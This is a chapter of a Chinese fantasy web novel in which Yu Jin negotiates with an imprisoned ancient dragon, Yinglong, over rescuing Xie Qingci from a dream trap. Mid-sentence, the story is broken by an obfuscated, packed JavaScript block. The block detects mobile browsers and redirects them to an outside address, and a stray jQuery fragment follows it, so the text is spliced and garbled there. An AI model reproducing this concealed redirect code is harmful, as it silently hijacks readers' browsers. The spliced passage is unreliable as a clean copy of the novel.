虞锦与谢清辞处于大殿侧方,而另一头已快被那现身后的万年妖物尽数占据。
庞大的龙形身躯蜿蜒游动,通体冰蓝如同潺潺溪流,周身环绕着淡蓝色云雾,看似如流水般柔韧,细看才见片片鳞片均充斥着神力,坚硬得似哪怕上古神器盘古斧现世,仍不能伤其分毫,更莫妄言要击溃那坚硬鳞甲。
它的头颅额间嵌着一块菱形的冰晶,冰晶中流转着细碎的蓝光,待它吞吐着雾蓝色龙息缓缓逼近时,只觉有股沉重的威压降下,虞锦猜测这已是它有意控制之后的结果,却仍令修士不由得低首臣服。
“吾名……”
它似乎在说古神语,虞锦听不懂,只觉心间被那沉重神秘的文字震荡,与她一般高的竖瞳亦是通透冰色,凝视时透出如同万年寒潭般的沉静,一眼便能看穿人心,事实亦是如此。
“你可唤吾应龙。”
应龙浑身环绕着浅淡金色符文,每道浅金色方正,看上去像是文字,虞锦猜测那属于上古时代。
“虚言不必多讲,吾自知晓你心中在想何,”那能看透人心的竖瞳缓缓移到旁侧,那被几道巨大冰凌刺穿脊背,又沉入幻梦之中的谢清辞身上,尚且还算温和道:“你想救它?”
虞锦立时顺杆应声,语气诚恳:“还望高抬贵手,将他从幻梦中放出。”
“若吾能随意将他放出,自不会为难你,只可惜这幻梦并非由吾掌控。”话虽如此,应龙可并未有任何惋惜之色,仍是那副温润模样。
“这是为何?”虞锦微愣,她本以为是善于织梦的妖物控制这幻梦,而后才知晓那妖物是上古神兽应龙,却也未曾怀疑过是它所为。
若并非由它掌控?
那还能有谁能控制这幻梦?将它困在这碧水秘境中的何上古人物?
“吾被下了禁咒,每个踏入此处之人,均会自行陷入幻梦之中,不得与吾碰面,”应龙并无丝毫波澜,亦看不出任何屈辱之色,只淡淡地将其全盘接受:“你所想倒也有不错,这幻梦说起来确由这秘境掌控。”
虞锦一时有些无措,连上古神兽都不能控制这幻梦,谢清辞岂不就这样命绝于此?
也不知她是如何自行从幻梦中醒来。
“啧啧,”应龙轻笑着,舒畅地游龙一阵,吐出一口强大龙息:“看来他在幻梦之中,并不好过。”
虞锦忽而意识到不对,疑问道:“这幻梦虽不受你控制,可你仍能观幻梦中所历经之事,那从幻梦中获取的修为,不也被你尽数取得?”
应龙大笑几声,尾鳍摆动间,鳞片会轻轻碰撞,发出如钟鸣般沉肃声响:“果真有些眼色,不过吾所取得的不过微末,只够维持吾在这此处苟延残喘,不被秘境汲取之下消磨殆尽,其余尽被这秘境纳入,以维持这束缚吾的牢笼。”
“谁将你关在此处?”
应龙发出低沉而温润的龙吟:“你暂且还不够格知晓此事。”
虞锦深觉这应龙心态已非“沉稳”二字可粗略描述。
“万年于龙族而言不过尔尔,只是独自于此沉寂,年岁过得缓慢,万年前之事亦无那般重要,”
应龙环视着这只能算容得下它身躯的小宫殿,缓声道:“更何况吾也算因祸得福,千年前突破幻梦苏醒之人告诉吾,龙族在世外早已不复存在,未想到吾竟成了唯一存活的真龙,你口中的上古神兽。”
“万年过去,将你关押在此的上古人物想必已然不存,随它神力逝去,这秘境莫非还不能由你掌控?”
虞锦只觉有何处不对,然这应龙将自己的本事微缩得个干净,让她一时半会儿也想不到究竟是何处有异。
“很可惜,仍旧不能,”应龙之声温润无波:“这秘境不过是镇压吾的牢笼,真正的禁制设在吾身上,并不随着年月流逝而消散,只会一直持续至远。”
虞锦忽地灵光一闪,总算明了应龙这一番剖白自己安然处之的惨境所谓何意。
她冷不丁问道:“你就不想出去吗?”
“哈哈哈!”应龙身躯忽地隐入云霭,时而露出半截冰蓝的躯干,冰蓝色的鳞片在云光中流转,只那双竖瞳在云雾间若隐若现,闪动着别样光芒:“吾果真没有看错你,这般有眼力,吾亦不会薄待于你。”
虞锦心间微动。
“吾可以予你一颗五百年蓝晶果作为交换。”
见其并未如它预想般兴奋,仍一副不为所动的模样,应龙笑道:“五百年蓝晶果,比你之前所见,一个天一个地,加之吾可为你护法修炼,于你水灵根可谓一步登天,你还嫌少不成?”
“我可不要蓝晶果。”
虞锦忍痛放弃,日后定要压榨谢清辞去寻比之越发珍贵的秘宝,然后再杀了他,才能对得起她这番痛苦抉择。
她下意识忽略了于这世间恐怕并无何秘宝能比得上五百年蓝晶果,除非上界宝物,只轻吸了口气放平心绪,直直对上那冰蓝竖瞳道:“只要你将他从幻梦中放出。”
“哦?”
应龙目光略显玩味:“你们凡人真是难懂,不过你既有此打算,放他出来倒也无不可。”
虞锦心间一松,她就知晓应龙同她所言并非俱是实话,在这秘境之中待了万年的上古神兽,即便神力被镇压,可有万年的时光于他一一思考尝试,未尝不能渐渐影响这秘境中的幻梦。
“只是……”
虞锦刚松下的那口气顿时又提了起来,见其只差临门一脚莫非又要反悔,立时追问道:“只是什么?”
应龙突破那阵威压的束缚,堪称和善地冲她笑了笑:“只是有一事,吾需得提前告知于你,免得吾等交易出岔。千年之前那人,是首个能突破幻梦醒来之人,只他并不愿与吾交易,至于他的下场,想必你并不愿知晓,希望吾等最好不要落得如此地步。”
虞锦后背微微发凉,但如今发展也未超出她预期。
上古神兽应龙怎可能是软弱可欺之辈,不过先以势弱处境换她安心,以利诱使她上了谈判桌,待人上了谈判桌之后,才是应龙现出它真面一角之时。
“他是必死之人,即便将他从幻梦中救出,亦不过是换种死法罢了。”
虞锦面色一凛:“你这是何意?”
她目光不由落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849926|191492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到刺穿谢清辞的巨大冰凌上,踏入此处的人或妖均会陷入幻梦,除却应龙还有谁能幻化出这冰凌,它的存在一直警惕她防备应龙的一举一动,也提醒着她应龙并非如它所言那般乏力不堪。
“如你所想,”应龙笑得快意:“那幻梦于他可不一定是绝境,反而是最后的保命方式。若非他突而沉入幻梦之中,他已死在冰凌之下。即便如此,你还要将他‘救’出幻梦吗?”
虞锦暗自咬了咬唇边,红润唇瓣如同血色利器,不管她如何选,谢清辞都是死路一条。
或是沉入幻梦中被消磨灵魂而死,或是从幻梦中脱身,而后被停滞的冰凌瞬间刺穿身子而死。
“那冰凌既是你所为,你不能将其收回?”
若是能让应龙在在其苏醒的一瞬间将冰凌收回,趁谢清辞身子还未被冰凌完全刺穿,她赶紧往他口中灌灵丹或许还有一线生机。
但应龙拒绝了。
“很遗憾,并不能。”
虞锦面色冷了冷。
应龙既能以冰凌攻击,将其收回亦不是不行。
它拒绝不过是因为她的筹码不够。
她知晓应龙想要什么,但她不得不做好最坏的打算。
放应龙出去,因其身上还有那浅金色上古文字作为束缚它的禁制,加之有专为人界设下防止神魔侵袭的大阵法,应龙能掀起的风浪极为有限,虞锦并不担心。
可若替它解开禁制,上古神兽万年以前已然全数覆灭,虞锦并不知晓它们同大阵法何等更胜一筹,但也不敢拿人界数千万人冒险,一旦噩梦成真便是死局,他们承受不起这后果。
应龙好整以暇,等待她的选择。它已等待万年,并不急求这一时,不过……
虞锦对上那从云雾中全然现出的冰蓝色竖瞳,直觉应龙接下来之言并未有何好意,那兴味称之想趁乱添把柴火也不为过。
“可惜他为你陷入生死两难,你却不愿搭救……”
那尾音拖得极长,如同想勾起她心中愧意,虞锦冷笑一声,她可不会上应龙的当。
谢清辞如今境况的最大罪魁祸首,不正是应龙的冰凌与这秘境中的幻梦,如何算也轮不到她头上。
“哦?果真如此吗?”应龙不疾不徐:“虽吾不曾知晓你能脱离幻梦的具体缘由,可吾猜,与他脱不了干系。”
见她无意问询,应龙安然笑意顿时响彻宫殿之中,震颤如同连通着十六根巨石柱,传至晶亮石地,传至人心。
“他竟是踏入此境后,唯一未被引入幻梦之人。”
虞锦不由蹙起眉头,心间微紧,渐渐明了应龙言下之意。
“巧的是,吾欲与之相谈时,你闯了进来。”
应龙之声仍旧温润沉稳,虞锦却忽地察觉到一丝寒意,指尖不由得发凉。
“见人闯入吾私宅,吾只得动用些许冰凌以示警告,”
仿佛沉寂的冰山露出致命的危险,冰蓝极光般光泽缓缓流淌在应龙鳞片之上,连那竖瞳亦沉下令人窒息的光芒:“只可惜,他替你挡了去。而后如同命途调转,他沉入幻梦,而你逐渐苏醒。”